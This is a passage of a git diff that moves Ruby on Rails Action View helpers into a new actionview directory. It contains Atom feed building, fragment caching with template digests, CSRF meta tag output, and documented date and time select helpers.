+          xml.link(:rel => 'self', :type => 'application/atom+xml', :href => options[:url] || request.url)
+
+          yield AtomFeedBuilder.new(xml, self, options)
+        end
+      end
+
+      class AtomBuilder #:nodoc:
+        XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
+
+        def initialize(xml)
+          @xml = xml
+        end
+
+        private
+          # Delegate to xml builder, first wrapping the element in a xhtml
+          # namespaced div element if the method and arguments indicate
+          # that an xhtml_block? is desired.
+          def method_missing(method, *arguments, &block)
+            if xhtml_block?(method, arguments)
+              @xml.__send__(method, *arguments) do
+                @xml.div(:xmlns => 'http://www.w3.org/1999/xhtml') do |xhtml|
+                  block.call(xhtml)
+                end
+              end
+            else
+              @xml.__send__(method, *arguments, &block)
+            end
+          end
+
+          # True if the method name matches one of the five elements defined
+          # in the Atom spec as potentially containing XHTML content and
+          # if type: 'xhtml' is, in fact, specified.
+          def xhtml_block?(method, arguments)
+            if XHTML_TAG_NAMES.include?(method.to_s)
+              last = arguments.last
+              last.is_a?(Hash) && last[:type].to_s == 'xhtml'
+            end
+          end
+      end
+
+      class AtomFeedBuilder < AtomBuilder #:nodoc:
+        def initialize(xml, view, feed_options = {})
+          @xml, @view, @feed_options = xml, view, feed_options
+        end
+
+        # Accepts a Date or Time object and inserts it in the proper format. If nil is passed, current time in UTC is used.
+        def updated(date_or_time = nil)
+          @xml.updated((date_or_time || Time.now.utc).xmlschema)
+        end
+
+        # Creates an entry tag for a specific record and prefills the id using class and id.
+        #
+        # Options:
+        #
+        # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
+        # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
+        # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
+        # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
+        # * <tt>:type</tt>: The TYPE for this entry. Defaults to "text/html".
+        def entry(record, options = {})
+          @xml.entry do
+            @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
+
+            if options[:published] || (record.respond_to?(:created_at) && record.created_at)
+              @xml.published((options[:published] || record.created_at).xmlschema)
+            end
+
+            if options[:updated] || (record.respond_to?(:updated_at) && record.updated_at)
+              @xml.updated((options[:updated] || record.updated_at).xmlschema)
+            end
+
+            type = options.fetch(:type, 'text/html')
+
+            @xml.link(:rel => 'alternate', :type => type, :href => options[:url] || @view.polymorphic_url(record))
+
+            yield AtomBuilder.new(@xml)
+          end
+        end
+      end
+
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/cache_helper.rb b/actionview/lib/action_view/helpers/cache_helper.rb
new file mode 100644
index 0000000..d1c268e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/cache_helper.rb
@@ -0,0 +1,200 @@
+module ActionView
+  # = Action View Cache Helper
+  module Helpers
+    module CacheHelper
+      # This helper exposes a method for caching fragments of a view
+      # rather than an entire action or page. This technique is useful
+      # caching pieces like menus, lists of new topics, static HTML
+      # fragments, and so on. This method takes a block that contains
+      # the content you wish to cache.
+      #
+      # The best way to use this is by doing key-based cache expiration
+      # on top of a cache store like Memcached that'll automatically
+      # kick out old entries. For more on key-based expiration, see:
+      # http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
+      #
+      # When using this method, you list the cache dependency as the name of the cache, like so:
+      #
+      #   <% cache project do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      #
+      # This approach will assume that when a new topic is added, you'll touch
+      # the project. The cache key generated from this call will be something like:
+      #
+      #   views/projects/123-20120806214154/7a1156131a6928cb0026877f8b749ac9
+      #         ^class   ^id ^updated_at    ^template tree digest
+      #
+      # The cache is thus automatically bumped whenever the project updated_at is touched.
+      #
+      # If your template cache depends on multiple sources (try to avoid this to keep things simple),
+      # you can name all these dependencies as part of an array:
+      #
+      #   <% cache [ project, current_user ] do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      #
+      # This will include both records as part of the cache key and updating either of them will
+      # expire the cache.
+      #
+      # ==== Template digest
+      #
+      # The template digest that's added to the cache key is computed by taking an md5 of the
+      # contents of the entire template file. This ensures that your caches will automatically
+      # expire when you change the template file.
+      #
+      # Note that the md5 is taken of the entire template file, not just what's within the
+      # cache do/end call. So it's possible that changing something outside of that call will
+      # still expire the cache.
+      #
+      # Additionally, the digestor will automatically look through your template file for
+      # explicit and implicit dependencies, and include those as part of the digest.
+      #
+      # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
+      #
+      #   <% cache project, skip_digest: true do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      #
+      # ==== Implicit dependencies
+      #
+      # Most template dependencies can be derived from calls to render in the template itself.
+      # Here are some examples of render calls that Cache Digests knows how to decode:
+      #
+      #   render partial: "comments/comment", collection: commentable.comments
+      #   render "comments/comments"
+      #   render 'comments/comments'
+      #   render('comments/comments')
+      #
+      #   render "header" => render("comments/header")
+      #
+      #   render(@topic)         => render("topics/topic")
+      #   render(topics)         => render("topics/topic")
+      #   render(message.topics) => render("topics/topic")
+      #
+      # It's not possible to derive all render calls like that, though. Here are a few examples of things that can't be derived:
+      #
+      #   render group_of_attachments
+      #   render @project.documents.where(published: true).order('created_at')
+      #
+      # You will have to rewrite those to the explicit form:
+      #
+      #   render partial: 'attachments/attachment', collection: group_of_attachments
+      #   render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
+      #
+      # === Explicit dependencies
+      #
+      # Some times you'll have template dependencies that can't be derived at all. This is typically
+      # the case when you have template rendering that happens in helpers. Here's an example:
+      #
+      #   <%= render_sortable_todolists @project.todolists %>
+      #
+      # You'll need to use a special comment format to call those out:
+      #
+      #   <%# Template Dependency: todolists/todolist %>
+      #   <%= render_sortable_todolists @project.todolists %>
+      #
+      # The pattern used to match these is /# Template Dependency: ([^ ]+)/, so it's important that you type it out just so.
+      # You can only declare one template dependency per line.
+      #
+      # === External dependencies
+      #
+      # If you use a helper method, for example, inside of a cached block and you then update that helper,
+      # you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file
+      # must change. One recommendation is to simply be explicit in a comment, like:
+      #
+      #   <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
+      #   <%= some_helper_method(person) %>
+      #
+      # Now all you'll have to do is change that timestamp when the helper method changes.
+      def cache(name = {}, options = nil, &block)
+        if controller.perform_caching
+          safe_concat(fragment_for(cache_fragment_name(name, options), options, &block))
+        else
+          yield
+        end
+
+        nil
+      end
+
+      # Cache fragments of a view if +condition+ is true
+      #
+      #   <%= cache_if admin?, project do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      def cache_if(condition, name = {}, options = nil, &block)
+        if condition
+          cache(name, options, &block)
+        else
+          yield
+        end
+
+        nil
+      end
+
+      # Cache fragments of a view unless +condition+ is true
+      #
+      #   <%= cache_unless admin?, project do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
+      #   <% end %>
+      def cache_unless(condition, name = {}, options = nil, &block)
+        cache_if !condition, name, options, &block
+      end
+
+      # This helper returns the name of a cache key for a given fragment cache
+      # call. By supplying skip_digest: true to cache, the digestion of cache
+      # fragments can be manually bypassed. This is useful when cache fragments
+      # cannot be manually expired unless you know the exact key which is the
+      # case when using memcached.
+      def cache_fragment_name(name = {}, options = nil)
+        skip_digest = options && options[:skip_digest]
+
+        if skip_digest
+          name
+        else
+          fragment_name_with_digest(name)
+        end
+      end
+
+    private
+
+      def fragment_name_with_digest(name) #:nodoc:
+        if @virtual_path
+          names  = Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name)
+          digest = Digestor.digest name: @virtual_path, finder: lookup_context, dependencies: view_cache_dependencies
+
+          [ *names, digest ]
+        else
+          name
+        end
+      end
+
+      # TODO: Create an object that has caching read/write on it
+      def fragment_for(name = {}, options = nil, &block) #:nodoc:
+        read_fragment_for(name, options) || write_fragment_for(name, options, &block)
+      end
+
+      def read_fragment_for(name, options) #:nodoc:
+        controller.read_fragment(name, options)
+      end
+
+      def write_fragment_for(name, options) #:nodoc:
+        # VIEW TODO: Make #capture usable outside of ERB
+        # This dance is needed because Builder can't use capture
+        pos = output_buffer.length
+        yield
+        output_safe = output_buffer.html_safe?
+        fragment = output_buffer.slice!(pos..-1)
+        if output_safe
+          self.output_buffer = output_buffer.class.new(output_buffer)
+        end
+        controller.write_fragment(name, fragment, options)
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/capture_helper.rb b/actionview/lib/action_view/helpers/capture_helper.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/capture_helper.rb
rename to actionview/lib/action_view/helpers/capture_helper.rb
diff --git a/actionpack/lib/action_view/helpers/controller_helper.rb b/actionview/lib/action_view/helpers/controller_helper.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/controller_helper.rb
rename to actionview/lib/action_view/helpers/controller_helper.rb
diff --git a/actionview/lib/action_view/helpers/csrf_helper.rb b/actionview/lib/action_view/helpers/csrf_helper.rb
new file mode 100644
index 0000000..5af92c4
--- /dev/null
+++ b/actionview/lib/action_view/helpers/csrf_helper.rb
@@ -0,0 +1,33 @@
+module ActionView
+  # = Action View CSRF Helper
+  module Helpers
+    module CsrfHelper
+      # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
+      # request forgery protection parameter and token, respectively.
+      #
+      #   <head>
+      #     <%= csrf_meta_tags %>
+      #   </head>
+      #
+      # These are used to generate the dynamic forms that implement non-remote links with
+      # <tt>:method</tt>.
+      #
+      # You don't need to use these tags for regular forms as they generate their own hidden fields.
+      #
+      # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the 
+      # "X-CSRF-Token" HTTP header. If you are using jQuery with jquery-rails this happens automatically.
+      #
+      def csrf_meta_tags
+        if protect_against_forgery?
+          [
+            tag('meta', :name => 'csrf-param', :content => request_forgery_protection_token),
+            tag('meta', :name => 'csrf-token', :content => form_authenticity_token)
+          ].join("\n").html_safe
+        end
+      end
+
+      # For backwards compatibility.
+      alias csrf_meta_tag csrf_meta_tags
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/date_helper.rb b/actionview/lib/action_view/helpers/date_helper.rb
new file mode 100644
index 0000000..5faa263
--- /dev/null
+++ b/actionview/lib/action_view/helpers/date_helper.rb
@@ -0,0 +1,1094 @@
+require 'date'
+require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/object/with_options'
+
+module ActionView
+  module Helpers
+    # = Action View Date Helpers
+    #
+    # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
+    # elements. All of the select-type methods share a number of common options that are as follows:
+    #
+    # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
+    #   would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
+    # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
+    # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
+    #   the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
+    #   of \date[month].
+    module DateHelper
+      # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
+      # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
+      # Distances are reported based on the following table:
+      #
+      #   0 <-> 29 secs                                                             # => less than a minute
+      #   30 secs <-> 1 min, 29 secs                                                # => 1 minute
+      #   1 min, 30 secs <-> 44 mins, 29 secs                                       # => [2..44] minutes
+      #   44 mins, 30 secs <-> 89 mins, 29 secs                                     # => about 1 hour
+      #   89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs                             # => about [2..24] hours
+      #   23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs                     # => 1 day
+      #   41 hrs, 59 mins, 30 secs  <-> 29 days, 23 hrs, 59 mins, 29 secs           # => [2..29] days
+      #   29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
+      #   44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 2 months
+      #   59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec                    # => [2..12] months
+      #   1 yr <-> 1 yr, 3 months                                                   # => about 1 year
+      #   1 yr, 3 months <-> 1 yr, 9 months                                         # => over 1 year
+      #   1 yr, 9 months <-> 2 yr minus 1 sec                                       # => almost 2 years
+      #   2 yrs <-> max time or date                                                # => (same rules as 1 yr)
+      #
+      # With <tt>include_seconds: true</tt> and the difference < 1 minute 29 seconds:
+      #   0-4   secs      # => less than 5 seconds
+      #   5-9   secs      # => less than 10 seconds
+      #   10-19 secs      # => less than 20 seconds
+      #   20-39 secs      # => half a minute
+      #   40-59 secs      # => less than a minute
+      #   60-89 secs      # => 1 minute
+      #
+      #   from_time = Time.now
+      #   distance_of_time_in_words(from_time, from_time + 50.minutes)                                # => about 1 hour
+      #   distance_of_time_in_words(from_time, 50.minutes.from_now)                                   # => about 1 hour
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds)                                # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true)         # => less than 20 seconds
+      #   distance_of_time_in_words(from_time, 3.years.from_now)                                      # => about 3 years
+      #   distance_of_time_in_words(from_time, from_time + 60.hours)                                  # => 3 days
+      #   distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true)         # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true)         # => less than a minute
+      #   distance_of_time_in_words(from_time, 76.seconds.from_now)                                   # => 1 minute
+      #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)                           # => about 1 year
+      #   distance_of_time_in_words(from_time, from_time + 3.years + 6.months)                        # => over 3 years
+      #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
+      #
+      #   to_time = Time.now + 6.years + 19.days
+      #   distance_of_time_in_words(from_time, to_time, include_seconds: true)                        # => about 6 years
+      #   distance_of_time_in_words(to_time, from_time, include_seconds: true)                        # => about 6 years
+      #   distance_of_time_in_words(Time.now, Time.now)                                               # => less than a minute
+      def distance_of_time_in_words(from_time, to_time = 0, options = {})
+        options = {
+          scope: :'datetime.distance_in_words'
+        }.merge!(options)
+
+        from_time = from_time.to_time if from_time.respond_to?(:to_time)
+        to_time = to_time.to_time if to_time.respond_to?(:to_time)
+        from_time, to_time = to_time, from_time if from_time > to_time
+        distance_in_minutes = ((to_time - from_time)/60.0).round
+        distance_in_seconds = (to_time - from_time).round
+
+        I18n.with_options :locale => options[:locale], :scope => options[:scope] do |locale|
+          case distance_in_minutes
+            when 0..1
+              return distance_in_minutes == 0 ?
+                     locale.t(:less_than_x_minutes, :count => 1) :
+                     locale.t(:x_minutes, :count => distance_in_minutes) unless options[:include_seconds]
+
+              case distance_in_seconds
+                when 0..4   then locale.t :less_than_x_seconds, :count => 5
+                when 5..9   then locale.t :less_than_x_seconds, :count => 10
+                when 10..19 then locale.t :less_than_x_seconds, :count => 20
+                when 20..39 then locale.t :half_a_minute
+                when 40..59 then locale.t :less_than_x_minutes, :count => 1
+                else             locale.t :x_minutes,           :count => 1
+              end
+
+            when 2...45           then locale.t :x_minutes,      :count => distance_in_minutes
+            when 45...90          then locale.t :about_x_hours,  :count => 1
+            # 90 mins up to 24 hours
+            when 90...1440        then locale.t :about_x_hours,  :count => (distance_in_minutes.to_f / 60.0).round
+            # 24 hours up to 42 hours
+            when 1440...2520      then locale.t :x_days,         :count => 1
+            # 42 hours up to 30 days
+            when 2520...43200     then locale.t :x_days,         :count => (distance_in_minutes.to_f / 1440.0).round
+            # 30 days up to 60 days
+            when 43200...86400    then locale.t :about_x_months, :count => (distance_in_minutes.to_f / 43200.0).round
+            # 60 days up to 365 days
+            when 86400...525600   then locale.t :x_months,       :count => (distance_in_minutes.to_f / 43200.0).round
+            else
+              if from_time.acts_like?(:time) && to_time.acts_like?(:time)
+                fyear = from_time.year
+                fyear += 1 if from_time.month >= 3
+                tyear = to_time.year
+                tyear -= 1 if to_time.month < 3
+                leap_years = (fyear > tyear) ? 0 : (fyear..tyear).count{|x| Date.leap?(x)}
+                minute_offset_for_leap_year = leap_years * 1440
+                # Discount the leap year days when calculating year distance.
+                # e.g. if there are 20 leap year days between 2 dates having the same day
+                # and month then the based on 365 days calculation
+                # the distance in years will come out to over 80 years when in written
+                # English it would read better as about 80 years.
+                minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
+              else
+                minutes_with_offset = distance_in_minutes
+              end
+              remainder                   = (minutes_with_offset % 525600)
+              distance_in_years           = (minutes_with_offset.div 525600)
+              if remainder < 131400
+                locale.t(:about_x_years,  :count => distance_in_years)
+              elsif remainder < 394200
+                locale.t(:over_x_years,   :count => distance_in_years)
+              else
+                locale.t(:almost_x_years, :count => distance_in_years + 1)
+              end
+          end
+        end
+      end
+
+      # Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
+      #
+      #   time_ago_in_words(3.minutes.from_now)                 # => 3 minutes
+      #   time_ago_in_words(3.minutes.ago)                      # => 3 minutes
+      #   time_ago_in_words(Time.now - 15.hours)                # => about 15 hours
+      #   time_ago_in_words(Time.now)                           # => less than a minute
+      #   time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds
+      #
+      #   from_time = Time.now - 3.days - 14.minutes - 25.seconds
+      #   time_ago_in_words(from_time)      # => 3 days
+      #
+      #   from_time = (3.days + 14.minutes + 25.seconds).ago
+      #   time_ago_in_words(from_time)      # => 3 days
+      #
+      # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
+      #
+      def time_ago_in_words(from_time, include_seconds_or_options = {})
+        distance_of_time_in_words(from_time, Time.now, include_seconds_or_options)
+      end
+
+      alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
+
+      # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
+      # attribute (identified by +method+) on an object assigned to the template (identified by +object+).
+      #
+      # ==== Options
+      # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
+      #   "2" instead of "February").
+      # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.
+      #   "02" instead of "February" and "08" instead of "8").
+      # * <tt>:use_short_month</tt>   - Set to true if you want to use abbreviated month names instead of full
+      #   month names (e.g. "Feb" instead of "February").
+      # * <tt>:add_month_numbers</tt>  - Set to true if you want to use both month numbers and month names (e.g.
+      #   "2 - February" instead of "February").
+      # * <tt>:use_month_names</tt>   - Set to an array with 12 month names if you want to customize month names.
+      #   Note: You can also use Rails' i18n functionality for this.
+      # * <tt>:month_format_string</tt> - Set to a format string. The string gets passed keys +:number+ (integer)
+      #   and +:name+ (string). A format string would be something like "%{name} (%<number>02d)" for example.
+      #   See <tt>Kernel.sprintf</tt> for documentation on format sequences.
+      # * <tt>:date_separator</tt>    - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
+      # * <tt>:start_year</tt>        - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt>if
+      #   you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to
+      #   the current selected year minus 5.
+      # * <tt>:end_year</tt>          - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if
+      #   you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to
+      #   the current selected year plus 5.
+      # * <tt>:discard_day</tt>       - Set to true if you don't want to show a day select. This includes the day
+      #   as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
+      #   first of the given month in order to not create invalid dates like 31 February.
+      # * <tt>:discard_month</tt>     - Set to true if you don't want to show a month select. This includes the month
+      #   as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
+      # * <tt>:discard_year</tt>      - Set to true if you don't want to show a year select. This includes the year
+      #   as a hidden field instead of showing a select field.
+      # * <tt>:order</tt>             - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
+      #   customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
+      #   select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
+      #   the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
+      # * <tt>:include_blank</tt>     - Include a blank option in every select field so it's possible to set empty
+      #   dates.
+      # * <tt>:default</tt>           - Set a default date if the affected date isn't set or is nil.
+      # * <tt>:selected</tt>          - Set a date that overrides the actual value.
+      # * <tt>:disabled</tt>          - Set to true if you want show the select fields as disabled.
+      # * <tt>:prompt</tt>            - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
+      #   for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
+      #   Setting this option prepends a select option with a generic prompt  (Day, Month, Year, Hour, Minute, Seconds)
+      #   or the given prompt string.
+      # * <tt>:with_css_classes</tt>   - Set to true if you want assign different styles for 'select' tags. This option
+      #   automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second' for your 'select' tags.
+      #
+      # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
+      #
+      # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
+      #   date_select("article", "written_on")
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+      #   # with the year in the year drop down box starting at 1995.
+      #   date_select("article", "written_on", start_year: 1995)
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+      #   # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
+      #   # and without a day select box.
+      #   date_select("article", "written_on", start_year: 1995, use_month_numbers: true,
+      #                                     discard_day: true, include_blank: true)
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+      #   # with two digit numbers used for months and days.
+      #   date_select("article", "written_on", use_two_digit_numbers: true)
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+      #   # with the fields ordered as day, month, year rather than month, day, year.
+      #   date_select("article", "written_on", order: [:day, :month, :year])
+      #
+      #   # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
+      #   # lacking a year field.
+      #   date_select("user", "birthday", order: [:month, :day])
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+      #   # which is initially set to the date 3 days from the current date
+      #   date_select("article", "written_on", default: 3.days.from_now)
+      #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
+      #   # which is set in the form with todays date, regardless of the value in the Active Record object.
+      #   date_select("article", "written_on", selected: Date.today)
+      #
+      #   # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
+      #   # that will have a default day of 20.
+      #   date_select("credit_card", "bill_due", default: { day: 20 })
+      #
+      #   # Generates a date select with custom prompts.
+      #   date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      #
+      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+      # all month choices are valid.
+      def date_select(object_name, method, options = {}, html_options = {})
+        Tags::DateSelect.new(object_name, method, self, options, html_options).render
+      end
+
+      # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
+      # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
+      # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
+      # with <tt>:ampm</tt> option.
+      #
+      # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
+      # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
+      # +date_select+ on the same method within the form otherwise an exception will be raised.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
+      #   time_select("article", "sunrise")
+      #
+      #   # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in
+      #   # the sunrise attribute.
+      #   time_select("article", "start_time", include_seconds: true)
+      #
+      #   # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30 and 45.
+      #   time_select 'game', 'game_time', {minute_step: 15}
+      #
+      #   # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+      #   time_select("article", "written_on", prompt: {hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds'})
+      #   time_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+      #   time_select("article", "written_on", prompt: true) # generic prompts for all
+      #
+      #   # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
+      #   time_select 'game', 'game_time', {ampm: true}
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      #
+      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
+      # all month choices are valid.
+      def time_select(object_name, method, options = {}, html_options = {})
+        Tags::TimeSelect.new(object_name, method, self, options, html_options).render
+      end
+
+      # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
+      # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
+      # by +object+).
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
+      #   # attribute.
+      #   datetime_select("article", "written_on")
+      #
+      #   # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
+      #   # article variable in the written_on attribute.
+      #   datetime_select("article", "written_on", start_year: 1995)
+      #
+      #   # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
+      #   # be stored in the trip variable in the departing attribute.
+      #   datetime_select("trip", "departing", default: 3.days.from_now)
+      #
+      #   # Generate a datetime select with hours in the AM/PM format
+      #   datetime_select("article", "written_on", ampm: true)
+      #
+      #   # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable
+      #   # as the written_on attribute.
+      #   datetime_select("article", "written_on", discard_type: true)
+      #
+      #   # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+      #   datetime_select("article", "written_on", prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+      #   datetime_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
+      #   datetime_select("article", "written_on", prompt: true) # generic prompts for all
+      #
+      # The selects are prepared for multi-parameter assignment to an Active Record object.
+      def datetime_select(object_name, method, options = {}, html_options = {})
+        Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
+      end
+
+      # Returns a set of html select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
+      # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
+      # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
+      # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
+      # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
+      # control visual display of the elements.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   my_date_time = Time.now + 4.days
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
+      #   select_datetime(my_date_time)
+      #
+      #   # Generates a datetime select that defaults to today (no specified datetime)
+      #   select_datetime()
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with the fields ordered year, month, day rather than month, day, year.
+      #   select_datetime(my_date_time, order: [:year, :month, :day])
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with a '/' between each date field.
+      #   select_datetime(my_date_time, date_separator: '/')
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # with a date fields separated by '/', time fields separated by '' and the date and time fields
+      #   # separated by a comma (',').
+      #   select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',')
+      #
+      #   # Generates a datetime select that discards the type of the field and defaults to the datetime in
+      #   # my_date_time (four days after today)
+      #   select_datetime(my_date_time, discard_type: true)
+      #
+      #   # Generate a datetime field with hours in the AM/PM format
+      #   select_datetime(my_date_time, ampm: true)
+      #
+      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
+      #   # prefixed with 'payday' rather than 'date'
+      #   select_datetime(my_date_time, prefix: 'payday')
+      #
+      #   # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+      #   select_datetime(my_date_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+      #   select_datetime(my_date_time, prompt: {hour: true}) # generic prompt for hours
+      #   select_datetime(my_date_time, prompt: true) # generic prompts for all
+      def select_datetime(datetime = Time.current, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_datetime
+      end
+
+      # Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+.
+      # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
+      # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order.
+      # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   my_date = Time.now + 6.days
+      #
+      #   # Generates a date select that defaults to the date in my_date (six days after today).
+      #   select_date(my_date)
+      #
